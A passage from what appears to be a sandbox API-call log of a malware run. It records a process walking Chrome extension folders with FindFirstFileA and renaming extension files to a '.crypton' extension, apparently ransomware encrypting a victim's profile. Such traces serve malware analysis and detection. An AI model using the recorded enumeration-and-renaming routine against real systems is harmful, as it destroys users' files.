Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee723e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee723e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.740] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee749fa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee749fa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.746] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee749fa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee749fa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.750] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee749fa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee749fa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.756] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee770100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee770100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.760] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee770100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee770100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.765] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee770100, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee770100, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.770] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee796260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee796260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.776] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee796260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee796260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.780] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee796260, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee796260, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.788] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee7bc3c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee7bc3c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.796] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee7bc3c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee7bc3c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0189.800] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee7e2520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee7e2520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549950 [0189.807] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee7e2520, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee7e2520, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549990 [0189.811] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.crypton"), dwFlags=0x2) returned 1 [0189.814] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.crypton"), dwFlags=0x2) returned 1 [0189.848] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.crypton"), dwFlags=0x2) returned 1 [0189.852] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.crypton"), dwFlags=0x2) returned 1 [0189.862] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee854940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee854940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0189.868] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee87aaa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee87aaa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.872] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee87aaa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee87aaa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.878] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee87aaa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee87aaa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.883] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8a0c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8a0c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.889] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8a0c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8a0c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.893] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8a0c00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8a0c00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.900] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8c6d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8c6d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.905] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8c6d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8c6d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.911] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8ecec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8ecec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.918] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee8ecec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee8ecec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.926] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee913020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee913020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.931] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee913020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee913020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.936] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee913020, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee913020, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.942] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee939180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee939180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.947] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee939180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee939180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.952] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee939180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee939180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.957] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee95f2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee95f2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.963] FindFirstFileA (in: 